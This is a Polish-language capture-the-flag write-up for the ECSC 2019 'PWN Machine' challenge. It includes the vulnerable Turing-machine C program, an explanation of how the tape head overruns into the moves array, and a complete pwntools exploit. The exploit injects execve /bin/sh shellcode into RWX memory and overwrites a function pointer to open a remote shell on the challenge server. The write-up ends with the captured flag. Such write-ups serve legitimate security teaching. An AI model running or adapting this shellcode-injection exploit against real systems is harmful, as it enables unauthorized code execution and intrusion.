PWN Machine

Zadanie

ecsc19_pwnmachine.png

W zadaniu dostajemy kod źródłowy i ip do połączenia się przez netcata.

main.c:

#include <stdio.h>
#include <stdlib.h>
#include <sys/mman.h>
#include <errno.h>
#include <string.h>

#define DEBUG 1
#define MAX_TAPE_SIZE 10000
#define MAX_MOVES_COUNT 100000

typedef unsigned char tape_char;
typedef unsigned int state;

typedef struct move {
    tape_char from_tape;
    state from_state;
    tape_char to_tape;
    state to_state;
    void (*direction)(unsigned int*);
} move;

void left(unsigned int *head_position){
    (*head_position)--;
}

void right(unsigned int *head_position){
    (*head_position)++;
}

void get_moves(move moves[], int moves_count){
    // Get the transformation function aka moves
    for (int i = 0; i < moves_count; i++){
        move new_move;
        unsigned char direction;
        scanf("%hhu %d %hhu %d %hhu\n", &new_move.from_tape, &new_move.from_state, &new_move.to_tape, &new_move.to_state, &direction);
        if (!direction){
            new_move.direction = left;
        } else {
            new_move.direction = right;
        }
        moves[i] = new_move;
    }
}

void get_tape(tape_char tape[], int tape_count){
    // Get the tape characters
    for (int i = 0; i < tape_count; i++){
        scanf("%hhu", &tape[i]);
    }
}

int make_move(tape_char tape[], move moves[], state *current_state, unsigned int *head_position, int moves_count){
    // Makes one move
    for(int i=0; i<moves_count;i++){
        if (moves[i].from_tape == tape[*head_position] && moves[i].from_state == *current_state){
            printf("Tape: %d Doing move (%hhu, %d) -> (%hhu, %d) id: %d\n", *head_position, moves[i].from_tape, moves[i].from_state, moves[i].to_tape, moves[i].to_state, i);
            *current_state = moves[i].to_state;
            tape[*head_position] = moves[i].to_tape;

            moves[i].direction(head_position);
            return 0;
        }
    }
    return -1;
}

void print_tape(tape_char tape[], int tape_count){
    for (int i=0; i<tape_count; i++){
        printf("%hhu ", tape[i]);
    }
    printf("\n");
}


int main() {
    setvbuf(stdout, NULL, _IONBF, 0);
    unsigned int buffer_size = MAX_TAPE_SIZE * sizeof(tape_char)+MAX_MOVES_COUNT * sizeof(move);
    char *buffer = (char*)malloc(buffer_size);
    if (buffer < 0){
        puts("[E] Error, couldn't allocate memory, contact admin");
    }
#ifdef DEBUG
    else {
        printf("[D] Allocated memory at %p\n", buffer);
    }
#endif
    int m = mprotect((void*)((int)buffer & ~(4096-1)), buffer_size, PROT_READ | PROT_WRITE | PROT_EXEC);
    if (m < 0){
        printf("Couldn't run mprotect %s\n", strerror(errno));
        exit(1);
    }

    tape_char *tape = (tape_char*)buffer;
    move *moves = (move*)(buffer+MAX_TAPE_SIZE*sizeof(tape_char));

    state current_state = 0, acc_state = 0;
    unsigned int moves_count = 0, tape_count = 0, head_position = 0;

    puts("Input (𝑄, 𝚺, 𝐹):");
    scanf("%d %d %d\n", &moves_count, &tape_count, &acc_state);
    if (moves_count > MAX_MOVES_COUNT){
        printf("[E] Max amount of moves is %d\n", MAX_MOVES_COUNT);
        exit(1);
    }
    if (tape_count > MAX_TAPE_SIZE){
        printf("[E] Max amount of tape characters is %d\n", MAX_TAPE_SIZE);
        exit(1);
    }

    get_moves(moves, moves_count);
    get_tape(tape, tape_count);
    print_tape(tape, tape_count);

    while(current_state != acc_state){
        if (make_move(tape, moves, &current_state, &head_position, moves_count) == -1){
            printf("No transformation given current situation(%hhu, %d). Aborting.\n", tape[head_position], current_state);
            print_tape(tape, tape_count);
            exit(1);
        }
    }
    puts("Given TM accepts given input");
    print_tape(tape, tape_count);
}

Mamy implementację maszyny Turinga. Obsługuje do 10000 komórek pamięci, każda to unsigned char, i do 100000 możliwych ruchów. Ruch to struktura. Zarówno ruchy jak i komórki pamięci są w programie trzymane w jednej tablicy. Oprócz tego mamy 2 zmienne: head_position i current_state, odpowiadające aktualnej pozycji na taśmie komórek pamięci i aktualnemu stanowi maszyny. Każdy ruch polega na przejrzeniu listy dostępnych ruchów. Jeśli from_state tego ruchu jest równe aktualnemu stanowi maszyny, a wartość w aktualnej komórce pamięci jest równa from_tape, to stan zmieni się w to_state, a wartość w komórce w to_tape. Następnie wskaźnik aktualnej komórki zostanie przestawiony w lewo lub prawo, zależnie od tego co jest zawarte w ruchu.

Błąd w tym kodzie polega na tym, że przesuwając wskaźnik w prawo, możemy wyjść poza tablicę pamięci i wejść na tablicę ruchów, a więc także je modyfikować. Jako iż jednym z pól w strukturze move jest wskaźnik na funkcję, która jest wykonywana gdy ruch się odbywa, możemy go nadpisać i wywołać coś innego. mmap na początku kodu ustawia całą tą tablicę na RWX, więc możemy na jej początku wpisać shellcode, a następnie do niego skoczyć. Adres znamy, bo jest wypisywany na początku programu. Dzięki jego długości wiemy też że program jest kompilowany jako 32-bitowy. Plan:

  1. Przejść przez komórki pamięci, na początku ustawiając w nich bajty shellcode'u, a potem 0.
  2. Przejść przez pierwszy element listy ruchów, aż do adresu funkcji.
  3. Zmodyfikować adres funkcji.
  4. Maszyna powinna znajdować sie w takim stanie, żeby został teraz uzyty ten pierwszy ruch.

Pełny kod exploita, z uzyciem pwntools:

#!/bin/python2
from __future__ import print_function
from datetime import datetime
import sys
startTime = datetime.now()

################################
# Logging functions
################################
ENDC = '\033[0m'
COLOUR_RED = '\033[0;31m'
COLOUR_GREEN = '\033[0;32m'
COLOUR_YELLOW = '\033[0;33m'
COLOUR_BLUE = '\033[0;34m'
COLOUR_CYAN = '\033[2;96m'


def logInfo(*args):
    print(COLOUR_BLUE + "[{0:06f}|".format((datetime.now() - startTime).total_seconds()) \
          + COLOUR_CYAN + '{:^10s}'.format(sys._getframe(1).f_code.co_name[:10]) + COLOUR_BLUE + ']' \
          + COLOUR_GREEN + '[+]' + ENDC, " ".join(map(str, args)))


def logError(*args):
    print(COLOUR_BLUE + "[{0:06f}|".format((datetime.now() - startTime).total_seconds()) \
          + COLOUR_CYAN + '{:^10s}'.format(sys._getframe(1).f_code.co_name[:10]) + COLOUR_BLUE + ']' \
          + COLOUR_RED + '[!!!]' + ENDC, " ".join(map(str, args)))

from pwn import *
import binascii

#shellcode odpalający /bin/sh
shellcode = bytearray("\x31\xc9\xf7\xe1\xb0\x0b\x51\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xcd\x80")
#io = process('./main')
io = remote('ecsc19.hack.cert.pl', 25012)
#adres początku tablicy
address = io.recvline()[24:-1]
logInfo("Found address:", address[2:])
addressBytes = bytearray(binascii.unhexlify(address[2:]))

moves = []

# Ruch który umieścimy na początku tablicy ruchów i w którym zmodyfikujemy adres funkcji
pwnmove = {}
pwnmove['from_tape'] = 0 # Wartość pierwszego bajtu następnej funkcji to 0
pwnmove['from_state'] = 10020 # Tyle ruchów wykonamy
pwnmove['to_tape'] = 0 # Nie chcemy zmieniać wartości na taśmie
pwnmove['to_state'] = 10021 # Standardowo w tym exploicie, 1 ruch 1 state
pwnmove['direction'] = 1 # Bez znaczenia, i tak to nadpiszemy
moves.append(pwnmove)

for i in range(10000):
	move = {}
	move['from_tape'] = 0 # Na początku całą taśma będzie wypełniona 0
	move['from_state'] = i # Każdy ruch to osobny stan, zaczynamy od 0
	move['to_state'] = i + 1 # Przechodzimy do kolejnego stanu
	move['direction'] = 1 # chcemy iśc w prawo, w kierunku tablicy ruchów
	if i < len(shellcode): # Na początku tablicy chcemy umieścić shellcode
		move['to_tape'] = shellcode[i]
	else:
		move['to_tape'] = 0
	moves.append(move)

'''
typedef struct move {
    tape_char from_tape; # 10000
    state from_state; # 10001 - 10004
    tape_char to_tape; # 10005
    state to_state; # 10006 - 100010
    void (*direction)(unsigned int*); # 10011 - 10014
} move;
'''

for i in range(10000, 10016): # Przechodzimy strukturę pierwszego ruchu w tablicy aż dojdziemy do adresu funkcji
	for j in range(0, 256): # Uatwienie, zamiast przewidywać wartości kolejnych bajtów, stwórzmy ruchy dla wszystkich możliwych
		move = {}
		move['from_tape'] = j
		move['from_state'] = i
		move['to_tape'] = j
		move['to_state'] = i + 1
		move['direction'] = 1
		moves.append(move)

for i in range(10016, 10020): # Nadpisujemy adres funkcji
	for j in range(0, 256): # Podobnie jak wcześniej, nie ma co zgadywać co teraz tam siedzi
		move = {}
		move['from_tape'] = j
		move['from_state'] = i
		move['to_tape'] = ord(binascii.unhexlify(address[2:])[3 - (i - 10016)]) # Pamiętać że little endian
		move['to_state'] = i + 1
		move['direction'] = 1
		moves.append(move)


io.send(str(len(moves)) + ' 10000 1234567\n') # liczba ruchów, liczba komórek pamięci i stań końcowy (to nas nie interesuje akurat)

for move in moves:
	io.send(' '.join(map(str, [move['from_tape'], move['from_state'], move['to_tape'], move['to_state'], move['direction']])) + '\n') # wysyłamy ruchy

io.send(' '.join(['0'] * 10000) + '\n') # wysyłamy początkową tablicę
logInfo(io.recv())
io.interactive() # otwieramy shella

Po odpaleniu skryptu i wykonaniu komendy cat /app/flag.txt otrzymujemy flagę: ecsc19{Church-TuringThesisAppliesToPWNsRight?}